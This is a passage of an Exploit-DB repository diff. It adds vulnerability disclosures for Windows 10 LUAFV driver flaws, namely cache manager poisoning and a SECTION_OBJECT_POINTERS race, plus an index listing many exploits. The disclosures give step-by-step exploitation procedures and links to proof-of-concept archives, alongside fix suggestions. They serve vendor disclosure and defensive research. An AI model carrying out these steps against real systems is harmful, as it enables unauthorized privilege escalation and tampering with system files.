I’ve provided a PoC as a C# project. It will sign an arbitrary DLL file the map it into memory with the Microsoft only signature mitigation enabled.
1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) As a normal user run the PoC passing the path to an unsigned DLL which will do something noticeable in DllMain (such as popping a message box).
Expected Result:
The cached signature operation fails.
Observed Result:
The an arbitrary file is cached signed and can be loaded with an elevated process signature level.
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46716.zip

56
exploits/windows/local/46717.txt Normal file
View file

@ -0,0 +1,56 @@
Windows: LUAFV Delayed Virtualization Cache Manager Poisoning EoP
Platform: Windows 10 1809 (not tested earlier)
Class: Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary
Summary:
The LUAFV driver can confuse the cache and memory manager to replace the contents of privileged file leading to EoP.
Description:
NOTE: This is different from issue 49895, that opens a backing file which could be overwritten as it wasn’t opened with the correct permissions. This issue instead replaces the cache data for an existing system file. Also note the additional section at the end which describes how this issue also causes a Bug Check. I’m not convinced it’s exploitable so I’m not reporting it separately.
The LUAFV driver supports many normal file operations to make virtualization as seamless as possible. This includes supporting memory mapping the file. When using delayed virtualization the driver allows mapping the original file read-only (as a data section or image section) without automatically creating the file in the virtual store. This trick is achieved by copying the real file’s SECTION_OBJECT_POINTERS (SOP) pointer from the file object opened in LuafvDelayOrVirtualizeFile to the top-level “virtual” file object.
When creating a new section for a file object the kernel calls MiCreateImageOrDataSection. After checking some parameters it calls MiCallCreateSectionFilters. This is important for virtualization as this results in calling LuafvPreAcquireForSectionSynchronization in the LUAFV driver. If that function detects that the caller is trying to map the section writable then LuafvPreWrite is called which will complete the delayed virtualization process, and will update the SOP pointer of the “virtual” file to the newly created backing file. If the file is not being mapped writable then the LUAFV driver leaves the SOP pointing to the “real” file.
MiCreateImageOrDataSection then checks whether the SOP::DataSectionObject CONTROL_AREA is populated. If not the kernel calls into MiCreateNewSection to setup a new one otherwise it’ll try and reuse the existing one which is present in the “virtual” file. If a new CONTROL_AREA is created it contains a reference to the “virtual” file, not the underlying system file. This control area gets written into the SOP structure of the “virtual” file, which when performing a read-only mapping results in writing to the SOP structure of the underlying “real” file.
The SOP structure is the responsibility of the filesystem driver, so when opening an NTFS file it’s the NTFS driver which allocates and sets up this pointer. However the contents of the structure are the responsibility of the cache manager. In order to support sharing mappings, especially for image mappings, the NTFS driver ensures that the same file in a volume returns the same SOP structure even if the FILE_OBJECT pointer is different. This is where the bug lies, perhaps it’s easier to explain how to exploit this:
1) Open a file for read/write access which will be delay virtualized. For example a file in system32 which isn’t owned by TrustedInstaller.
2) Create a read-only section based on the virtualized file. As this is read-only the LuafvPreAcquireForSectionSynchronization function won’t complete the delayed virtualization. Do not map the section.
3) As long as the file doesn’t already have a DataSectionObject entry (likely if the file’s never opened/read from) then a new CONTROL_AREA is created, backed by the “virtual” file.
4) Now cause the delayed virtualization process to complete, by sending an FSCONTROL code. The “virtual” file is now backed by a file in the virtual store which can be modified by the user, and the “virtual” file’s SOP is replaced accordingly. However the DataSectionObject in the “real” file’s SOP still refers to the virtual file. Now when reading data from the “real” file handle (even one opened directly without virtualization) the cache manager reads page contents from virtual store file, not the real file.
Once you’ve replaced a system file you can get direct EoP by replacing with the contents with a PE file which can be loaded using services such as the “Diagnostics Hub Standard Collector Service” which I’ve detailed before. This works because the exploit has replaced the cache for that file and as its shared between all FILE_OBJECT instances (at least until the cache cleans it up) then the image section is created backed on the cached data. The replaced file contents will be also be returned for direct reads, the file doesn’t have to be mapped to return the poisoned cache data.
One limitation to this vulnerability is you can’t extend the length of the file, but there are suitable files in system32 which can contain a suitably small PE file to perform the full exploit. Note that it also doesn’t really overwrite the file on disk, instead it poisons the cache with the wrong backing file. After a reboot the file will be back to normal, even if the cache is flushed back to disk (perhaps a privileged process opened the file) I’d expect the new data to be flushed back to the store file not the “real” file.
Fixing wise, one way you could go would be to always virtualize the file when mapped as a section regardless of the requested access. However I can’t be certain there’s not another route to this which could be exploited, for example just reading from the file might be sufficient to poison the cache if done at the right time.
These operations can’t be done from any sandbox that I know of so it’s only a user to system privilege escalation.
ADDITIONAL NOTE:
As the FILE_OBJECT can’t be completely locked across all the file operations the kernel makes use of Auto Boost to lock certain structures such as the SECTION_OBJECT_POINTERS and CONTROL_AREAs. The LUAFV driver doesn’t know anything about this so it’s possible to get delayed virtualization to complete from another thread in the middle of section creation resulting in mismatched pointers and ultimately a bug check. The easiest way to achieve the bug check is to map a virtualized file as an image with the Microsoft Signed mitigation policy enabled. If the file isn’t correctly signed then it will cause the section creation to fail, but after the CONTROL_AREA has been setup. As it’s possible to oplock on the kernel opening catalog files the delayed virtualization process can be completed at the right moment resulting in a lock mismatch when tearing down the setup CONTROL_AREA.
I can’t really tell if this is exploitable or not (I’m siding with no), but as it’s related I thought I should report it to ensure what ever fix for the current issue covers this edge case as well, or at least doesn’t make it work. I’ve provided a kernel crash report “additional_crash.txt” with this report, and I can provide a PoC if required.
Proof of Concept:
I’ve provided a PoC as a C# project. It will poison the cache for the file license.rtf in system32 with arbitrary contents. Note it uses a hardlink to virtualize the file, but it doesn’t have to as it could open the system32 file itself. It’s just done as it was easier to test this way and doesn’t impact the exploit. Also note that if the license.rtf file has been opened and the cache manager has created an entry then the exploit fails. In theory this would be deleted eventually (perhaps only under memory pressure), but a quick reboot usually fixes it unless your system opened license.rtf everytime the system starts.
1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) As a normal user run the PoC.
3) Open the file %WINDIR%\System32\license.rtf in notepad to see the contents.
Expected Result:
The license.rtf file contains the original RTF contents.
Observed Result:
The virtualization poisoned the contents of license.rtf with a new text string.
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46717.zip

49
exploits/windows/local/46718.txt Normal file
View file

@ -0,0 +1,49 @@
Windows: LUAFV PostLuafvPostReadWrite SECTION_OBJECT_POINTERS Race Condition EoP
Platform: Windows 10 1809 (not tested earlier)
Class: Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary
Summary:
The LUAFV driver has a race condition in the LuafvPostReadWrite callback if delay virtualization has occurred during a read leading to the SECTION_OBJECT_POINTERS value being reset to the underlying file resulting in EoP.
Description:
NOTE: While it has a similar effect as issue 49960 I believe it is a different root cause which might still be exploitable after any fixes. This bug is actually worse than 49960 as you can modify the original file rather than just the cached data and you can do it to any file which can be virtualized as you don’t need to have a file which has a NULL CONTROL_AREA pointer.
When a IRP_MJ_READ request is issued to a delay virtualized file the filter driver first calls LuafvPreRedirectWithCallback which determines if the file is virtualized, it then sets the underlying, read-only file as the target file object for the filter processing as well as storing the file object in the completion context. When the read operation completes the LuafvPostReadWrite method is called which will inspect the completion context and copy out the file position and the SECTION_OBJECT_POINTERS value.
As there’s no locking in place at this point if the file delay virtualization is completed between the call to LuafvPreRedirectWithCallback and LuafvPostReadWrite then the SECTION_OBJECT_POINTERS and cache from the read-only file is used to overwrite the top-level “fake” file object, even though LuafvPerformDelayedVirtualization would have changed them to the new read-write virtual store file. By exploiting this race it’s possible to map the “real” file read-write which allows you to modify the data (you can probably also just write to the underlying file as well).
The trick to exploiting this bug is winning the race. One behavior that makes it an easy race to win is the delayed virtualization process passes on almost all CreateOptions flags to the underlying file create calls. By passing the FILE_COMPLETE_IF_OPLOCKED flag you can bypass waiting for an oplock break on IRP_MJ_CREATE and instead get it to occur on IRP_MJ_READ. The following is a rough overview of the process:
1) Open a file which will be delay virtualized and oplock with READ/HANDLE lease.
2) Open the file again for read/write access which will be delay virtualized. Pass the FILE_COMPLETE_IF_OPLOCKED flag to the create operation. The create operation will return STATUS_OPLOCK_BREAK_IN_PROGRESS but that’s a success code so the delayed virtualization setup is successful.
3) Create a new dummy file in the virtual store to prevent the driver copying the original data (which will likely wait for an oplock break).
4) Issue a read request on the virtualized file object, at this point the IRP_MJ_READ will be dispatched to “real” file and will get stuck waiting for an oplock break inside the NTFS driver.
5) While the read request is in progress issue a IRP_MJ_SET_EA request, this operation is ignored for oplock breaks so will complete, however the LUAFV driver will call LuafvPreWrite to complete the delayed virtualization process.
6) Close the acknowledge the oplock break by closing the file opened in 1.
7) Wait for read operation to complete.
8) Map the file as a read/write section. The data should be the “real” file contents not the dummy virtual store contents. Modifying the file will now cause the “real” file to be modified.
Note that even if you filtered the CreateOptions (as you should IMO) the race still exists, it would just be harder to exploit. Fixing wise, you probably want to check the virtualized object context and determine that the the delay virtualization has already occurred before overwriting anything in the top-level file object.
These operations can’t be done from any sandbox that I know of so it’s only a user to system privilege escalation.
Proof of Concept:
I’ve provided a PoC as a C# project. It will map the license.rtf file as read-write, although it won’t try and modify the data. However if you write to the mapped section it will change the original file.
1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) As a normal user run the PoC.
3) The PoC should print the first 16 characters of the mapped file.
Expected Result:
The mapped data should be all ‘A’ characters.
Observed Result:
The mapped data is the actual license.rtf file and it’s mapped writable.
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46718.zip

13
files_exploits.csv
View file

@ -6384,6 +6384,9 @@ id,file,description,date,author,type,platform,port
46656,exploits/windows/dos/46656.py,"Magic ISO Maker 5.5(build 281) - 'Serial Code' Denial of Service (PoC)",2019-04-04,"Alejandra Sánchez",dos,windows,
46702,exploits/windows/dos/46702.py,"UltraVNC Viewer 1.2.2.4 - 'VNC Server' Denial of Service (PoC)",2019-04-15,"Victor Mondragón",dos,windows,
46703,exploits/windows/dos/46703.py,"UltraVNC Launcher 1.2.2.4 - 'Path' Denial of Service (PoC)",2019-04-15,"Victor Mondragón",dos,windows,
46708,exploits/windows/dos/46708.py,"PCHelpWare V2 1.0.0.5 - 'SC' Denial of Service (PoC)",2019-04-16,"Alejandra Sánchez",dos,windows,
46709,exploits/windows/dos/46709.py,"PCHelpWare V2 1.0.0.5 - 'Group' Denial of Service (PoC)",2019-04-16,"Alejandra Sánchez",dos,windows,
46711,exploits/windows/dos/46711.py,"AdminExpress 1.2.5 - 'Folder Path' Denial of Service (PoC)",2019-04-16,"Mücahit İsmail Aktaş",dos,windows,
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -10410,6 +10413,14 @@ id,file,description,date,author,type,platform,port
46688,exploits/windows/local/46688.txt,"CyberArk EPM 10.2.1.603 - Security Restrictions Bypass",2019-04-12,"Alpcan Onaran",local,windows,
46690,exploits/windows/local/46690.txt,"Microsoft Internet Explorer 11 - XML External Entity Injection",2019-04-12,hyp3rlinx,local,windows,
46692,exploits/windows/local/46692.rb,"Microsoft Windows - Contact File Format Arbitary Code Execution (Metasploit)",2019-04-12,Metasploit,local,windows,
46707,exploits/windows/local/46707.txt,"Zoho ManageEngine ADManager Plus 6.6 (Build < 6659) - Privilege Escalation",2019-04-16,"Digital Interruption",local,windows,
46712,exploits/windows/local/46712.txt,"Microsoft Windows 10 1809 / 1709 - CSRSS SxSSrv Cached Manifest Privilege Escalation",2019-04-16,"Google Security Research",local,windows,
46713,exploits/windows/local/46713.txt,"Microsoft Windows 10 1809 - LUAFV Delayed Virtualization MAXIMUM_ACCESS DesiredAccess Privilege Escalation",2019-04-16,"Google Security Research",local,windows,
46714,exploits/windows/local/46714.txt,"Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cross Process Handle Duplication Privilege Escalation",2019-04-16,"Google Security Research",local,windows,
46715,exploits/windows/local/46715.txt,"Microsoft Windows 10 1809 - LUAFV LuafvCopyShortName Arbitrary Short Name Privilege Escalation",2019-04-16,"Google Security Research",local,windows,
46716,exploits/windows/local/46716.txt,"Microsoft Windows 10 1809 - LUAFV NtSetCachedSigningLevel Device Guard Bypass",2019-04-16,"Google Security Research",local,windows,
46717,exploits/windows/local/46717.txt,"Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cache Manager Poisoning Privilege Escalation",2019-04-16,"Google Security Research",local,windows,
46718,exploits/windows/local/46718.txt,"Microsoft Windows 10 1809 - LUAFV PostLuafvPostReadWrite SECTION_OBJECT_POINTERS Race Condition Privilege Escalation",2019-04-16,"Google Security Research",local,windows,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@ -41140,3 +41151,5 @@ id,file,description,date,author,type,platform,port
46687,exploits/hardware/webapps/46687.txt,"D-Link DI-524 V2.06RU - Multiple Cross-Site Scripting",2019-04-10,"Semen Alexandrovich Lyhin",webapps,hardware,80
46691,exploits/php/webapps/46691.rb,"ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)",2019-04-12,AkkuS,webapps,php,
46694,exploits/php/webapps/46694.txt,"DirectAdmin 1.561 - Multiple Vulnerabilities",2019-04-15,InfinitumIT,webapps,php,
46706,exploits/hardware/webapps/46706.txt,"Zyxel ZyWall 310 / ZyWall 110 / USG1900 / ATP500 / USG40 - Login Page Cross-Site Scripting",2019-04-16,"Aaron Bishop",webapps,hardware,80
46710,exploits/php/webapps/46710.py,"Joomla Core 1.5.0 - 3.9.4 - Directory Traversal / Authenticated Arbitrary File Deletion",2019-04-16,"Haboob Team",webapps,php,80

Can't render this file because it is too large.